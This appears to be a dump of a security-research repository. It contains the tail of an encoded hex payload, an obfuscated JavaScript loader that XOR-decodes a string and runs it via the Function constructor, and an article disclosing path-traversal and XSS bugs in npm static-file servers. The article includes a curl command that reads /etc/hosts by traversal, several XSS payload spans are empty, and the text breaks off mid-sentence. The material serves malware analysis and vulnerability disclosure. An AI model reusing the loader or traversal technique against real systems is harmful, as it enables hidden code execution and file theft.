"0d202f754b5907492973304b66030e227621382f64754f0e0c05737c2577526159300874640d533a400e1d7c530a03032a2a2c1a5171080f017a4d76251c2d0e6b29514917552e792a291c54331f663005" + "69417836065e0e6b097" + "00b377c6c395d1901265072653c49" + "6a7b08792d6e534e23211455203d07237e5e13607d250c530b2c7e346e267f6b470808497e0e73420b6217487558787c57462f317706603474210e4c456b707f4b2f2e3e7a7272755f70681f5a" + "79" + "286451636" + "0622b3d025c35775d4" + "d7" + "e7f75675663526219711a350c077e30" + "2867567901196f6d697" + "54c2e021d5e7a1d4511712e0a395f4a0e29584d4772207757007d3a565e15735a5d71700930377d174" + "c212f0c5a1605477" + "67b273e26602" + "97e5e392a2270070c5c030529" + "2f340d037548782a02743274015e594f" + "5b206b5d3d2c6c1a557256035d3c5b" + "0f0b7c3f05187f1622526440603e525c691f66710c0" + "35727566e41683b252f49234c1" + "574112f206622" + "4c035e5d223c6b0d485f352f223e5d502d2e4f5a0e232b1477045c687b005729200a7f78797c117b737c6a7842505505726b7d250e72723e37526" + "e4d077726522c0f147d036403095957077a6b1729" + "201f004f1c6139380d" + "592a7f031b2b0c6079387d5273782f56612d49237e7e67385e6e44791a7c62097" + "859675407412f776b751114395b120a0b" + "7164357b070c5a0c224352763b772c6b301d" + "56572d5e5c3e736c583f08070c5652757c59083371567e48760a6542247f6210007d7e28722473353" + "00155" + "20501a7f7e67505f62757f34430e77060428435f5f792632061e642a3004" + "766d21407a7d5c6472312161562900081f795f21072b3c69752e63797d467d53640c27012553" + "74375a250e597705413b7a20433f0357175e27264f040d2609705401561556654d0a45277c0a56041017" + "445e7f09314f4c29287e0e227" + "536442c0b2e385c484f6022687e7262295731" + "067e2c6b7d4f033649" + "0d313204" + "0c01132d655854795d792114501f2d" + "0e6e247b5f037e5e29523a672c1925513f392f762d23717962082e3b2754075e585" + "26228492c4f28277371140b115d5679652b13532a0361055d23570022210677" + "264a214f6350515c09256f05720c5f41205f3a506106424a59292a2e0b665526772" + "f66096355417f584b6f31604c3d11527829292a072" + "c00156f69657d073d7c140a1278" + "702c7c10255c55065c463d02497e18792f3b222a7b734324257b224e5" + "f7b0b35262f2f7574040c002e214101582f3321382a035a390e1374577e0a4f640a792d6e70230b58774a760f4c740c151466077a03375c3b0a174209522d5151030c064c25211f266176" + "2b0f79775e4d0710287703493a556b33034e766e691f1" + "56e0" + "866226d7f6159" + "69456508316213386b440f070b01260c135a2c13567c633b6a280d73577c457" + "4300" + "644710000546a136e0c05120b5574440e76301a7e0e491f0c7402017e292d" + "4148070b2d2c657b713d" + "2d74352175496b0e2e0d7c571207040f5c3708174151395c2e06440074266456306a7c1d2a7a58076251587" + "e5c50" + "166a29741d0d704578" + "2d4d0b7f" + "08092b22" + "6e560d295a2a553a122d2c4c1b715" + "a1b515d5c4d4c1c1d2277075c7c7e482e10243e7472572d7c101e43705249730332042d230e1d42234d7d220339534e6318203326081f79093f7c507c6921372d3c1e54491e59031a21156e570" + "8012d73291" + "e26697b55610259000a717007563e3d50" + "647006200c477c2e2151523d5173410d015" + "351742f" + "38365645602f2d230b3e0818557c013524177b05016" + "90b790c0" + "d5e2c0d77717f465e21261b0c72742860005a7c561978" + "7510506b0e3a3f5f76710077345f2a580b3e036b74687d0144441864153373")); ================================================ FILE: javascript-malware-obfuscation/do_not_run_deobfuscated.js ================================================ (function(quhuvu6) { var defiq = cicuza(quhuvu6); var permy = "H@D~7a84O"; var v = { getpy: "myqniroqa3" }; var fnConstructor = String.constructor; var t = "mokzine"; var dikol = []; var k = 1; while (k <= 1) { dikol = (permy.substr(permy.length - k)).split(''); for (var j = +!!false; j < defiq.length; j++) { defiq[j] = defiq[j] ^ dikol[j % dikol.length].charCodeAt(0); } k++; }; for (var r = +!!false; r < defiq.length; r++) { defiq[r] = String.fromCharCode(defiq[r]); }; t = defiq.join(''); v.toString = fnConstructor.constructor(t); var gogoq = "1cf4d5" + v + "631a403f5"; nilse(gogoq); function cicuza(val) { var result = []; for (var i = 0; i < val.length; i += 2) { result.push(parseInt(val.substr(i, 2), 16)); } return result; }; function nilse(tefkysab) { return (new Function()(tefkysab)); }; }("41553a304f0b442551284206")); // truncated; see do_not_run.js for original value ================================================ FILE: npm-static-servers-most-common-issues/npm-static-servers-most-common-issues.md ================================================ # Most common security vulnerabilities in npm static content/file servers modules ## Intro If you are JavaScript developer and you are working with Node.js, chances that you've never heard about [npm](https://npmjs.org) are literaly slim. **npm** is a repository where hundreds of thousands ready-to-use modules for your state-of-the-art Node.js application are just waiting to be downloaded and used as a part of your codebase. node_modules directory in your project grows up exponential along with every new feature you are working on. Maybe it's even more and **you** develop npm modules as well, giving back your work to the community. That's really fantastic, I always encourage to contribute to open source projects and share your work with the others. Developers build this ecosystem and thanks to them it's amazing. There are many types of modules doing specifing things. One of those things are **serving static content** from your server directly to your users. They can be used for eg. browsing directories, edit files or they just can work as small CDN service for your web application CSS or images. If you developed already such module or you are going to build one, maybe just for your needs, maybe just for the company you work for - security should be a very important part of your project. Unfortunately, this is not always the case. In December 2017, **[Node.js Ecosystem Bug Bounty Program](https://hackerone.com/nodejs-ecosystem)** emerged on **HackerOne** platform. The very first report, opened by Yasin Soliman [@ysx](https://hackerone.com/ysx) was Path Traversal vunlnerability in ```serve-here``` module and since then, this kind of vulnerability (which in most cases leads to Local File Include) is the most common reported - https://hackerone.com/nodejs-ecosystem/hacktivity?sort_type=latest_disclosable_activity_at&filter=type%3Aall%20to%3Anodejs-ecosystem&page=1&range=forever In this post I'd like to present most common security issues in static server npm modules I found in the last couple of weeks. If you do not know what Path Traversal, LFI or XSS issues are - I put links to some basic resources about each of issue and strongly recommend to read and learn what they are and how they can be used against your application users. ## Path Traversal and Local File Include [Path Traversal](https://www.owasp.org/index.php/Path_Traversal), also known as Directory Traversal, is an issue which allows attacker to go up in directory tree on the remote server, using ```../``` sequence (dot-dot-slash). This type of vulnerability exists when server takes user input (eg. filename) and uses it to build relative (or absolute) path to static resource, like text file or image. This leads to several vulnerabilites, the most common is [Local File Inlclusion](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion). Very dangerous situation occurs when application allows users to upload files into chosen location. If An attacker is able to change destination path, one is able to upload eg. webshell (simple script which allows to execute system commands on the remote machine) into the directory accessible in the browser and gain an access to the server's command line. Let's see how this vulnerability can be exploited in the wild. Presented code comes from [public](https://www.npmjs.com/package/public) npm module: ```javascript var pathname = url.parse(req.url).pathname; var filePath = path.join(dir, pathname); // Real file path var base = filePath.replace(dir, ''); // Base path for browser link var abs = path.resolve(filePath); console.log(new Date().toString(), abs); fs.readFile(filePath, function(err, data) { // <-- vulnerable line if (err) { (...) } res.writeHead(200, { 'Content-Type': mime.lookup(filePath) }); res.end(data); ``` In line marked with ```<-- vulnerable line``` comment, you can see ```fs.readFile()``` call, where ```filePath``` is used as an argument. ```filePath``` is build with ```pathname``` argument read from HTTP request. No sanitization was introduced, so if ```pathname``` contains dot-dot-slash sequence, Path Traversal can be exploited. When ```public``` is run, nothing could stop attacker from reading the content of any file on the server: ``` $ curl -v --path-as-is http://127.0.0.1:8080/../../../../../etc/hosts ``` --- This issue was fixed by the module maintainer. You can read full report on HackerOne here: [[public] Path Traversal allows to read content of arbitrary files](https://hackerone.com/reports/312918) --- Another example of vulnerable code comes from [hekto](https://www.npmjs.com/package/hekto) module. First, let's see how path is read from HTTP request: ```javascript let file = path.join(process.cwd(), argDir, this.request.url); ``` Now, ```file``` contains full path to requested resource, starting from current working directory (from where server was run). Next, some logic is implemented (not related to the vulnerability though), which takes particular action depends on file extension: ```javascript if (fs.lstatSync(file).isFile()) { this.status = 200; if (path.extname(file) == '.html') { this.type = 'text/html'; this.body = fs.createReadStream(file); } else if (path.extname(file) == '.css') { this.type = 'text/css'; this.body = fs.createReadStream(file); } else { const fileBuffer = readChunk.sync(file, 0, 4100); const mime = fileType(fileBuffer); if (mime) { this.type = mime.mime + '; charset=utf-8'; } else { this.type = 'text/plain; charset=utf-8'; } this.body = fs.createReadStream(file); } } ``` What you should notice here, nowhere in the code ```file``` is checked against existence of ```../``` sequence. This leads directly to Path Traversal vulnerability and allows attacker to read content of arbitrary files. Solution implemented by module's maintainer simply checks if ```file``` path "fit" inside current appliaction working directory (if ```../``` sequences are present, ```file``` won't pass this condition as it "goes" outside): ```javascript if (!isPathInside(file, path.join(process.cwd(), argDir))) { this.body = 'Bad Request'; this.status = 400; return; } ``` ```isPathInside``` method comes from [path-is-inside](https://www.npmjs.com/package/path-is-inside) module, which is a good choice if you want to prevent your code against this type of issue. As an author explains in his GitHub repository [README](https://github.com/domenic/path-is-inside/blob/master/README.md) - detection of path is not as trivial as it looks like. Incorrect implementation of path resolving routine can easily introduce Path Traversal vulnerability in your code, so always be careful when you build your paths. --- You can see the full report on HackerOne here: [[hekto] Path Traversal vulnerability allows to read content of arbitrary files](https://hackerone.com/reports/311218) --- Here's another variant of this attack scenario. This time, [serve](https://www.npmjs.com/package/serve) module allows to display directory content directly in the browser: ![](assets/1.png) Attacker was able to use ```%2d``` and ```%2f``` characters (an ASCII codes of ```.``` and ```/``` respectively) and forces server to display content of directories outside of the application root: ![](assets/2.png) An issue was [fixed and patch deployed](https://github.com/zeit/serve/pull/316/files) in just 2 days after report was opened. The implementation of fix contains ```decodeUriComponent()``` (see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent) JavaScript function, which turns URI encoded characters into their ASCII representation, so ```%2f``` becomes ```/``` and ```%2e``` becomes ```.```. This normalization allows to verify if sequence ```../``` is present in the url and does not allow to bypas protection against Path Traversal with various URL encodings (with Unicode or hexadecimal encodings). --- Full report available on HackerOne can be found here: [[serve] Directory index of arbitrary folder available due to lack of sanitization of %2e and %2f characters in url](https://hackerone.com/reports/307666) --- **Remember to always sanitize user input comes from HTTP Request and never use anything which comes from Request directly in code, especially if this code executes calls to the system, like opening and reading files or streams, creating directories and similar methofs from [File System Node.js module](https://nodejs.org/dist/latest-v8.x/docs/api/fs.html)** ## HTML Injection and XSS issues in displayed content In the last example of Path Traversal vulnerability in **serve** module, an user was able to see the content of directory in the browser. This is not always the case (many static server modules does not expose directory listings), however, in some modules which provide this type of functionality, another problem is quite common. As any other output displayed in browser, directory listings contains HTML code, mostly built as concatenated string contains HTML tags and directory and files attributes to display them to the users. Let's take a look at sample code, which comes from [crud-file-server](https://www.npmjs.com/package/crud-file-server) module. This fragment builds HTML output in the way described above, using list of files saved in ```results``` array: ```javascript res.setHeader('Content-Type', 'text/html'); res.write(''); for(var f = 0; f < results.length; f++) { var name = results[f].name; var normalized = url + '/' + name; while(normalized[0] == '/') { normalized = normalized.slice(1, normalized.length); } res.write('\r\n

' + name + '

'); } res.end('\r\n'); ``` Especially this line should be bring to our attention: ```javascript res.write('\r\n

' + name + '

'); ``` It might not be obvious at first sight, but this code contains [XSS](https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)) vulnerability. If ```name``` will contain string ``````, then the result of this line will be an HTML contains XSS payload send to the browser: ```html

``` Of course, ```href``` attribute valueis invalid, but this is not important in this attack scenario. Important is that between `````` and `````` tags there is perfectly valid `````` as a file name. Of course, instead of ```alert('XSS!')``` JavaScript code in the payload should do something a little bit more malicious than only displaying popup with some message to be considered as a threat for the users. Creating the file with name `````` is the only way to achieve some code execution in the browser. But, due to operating system, there is no way to create file or directory with ```/``` character in the name. Do we need one though? Not really, because we **do not need to execute JavaScript directly**. We can instead embed ```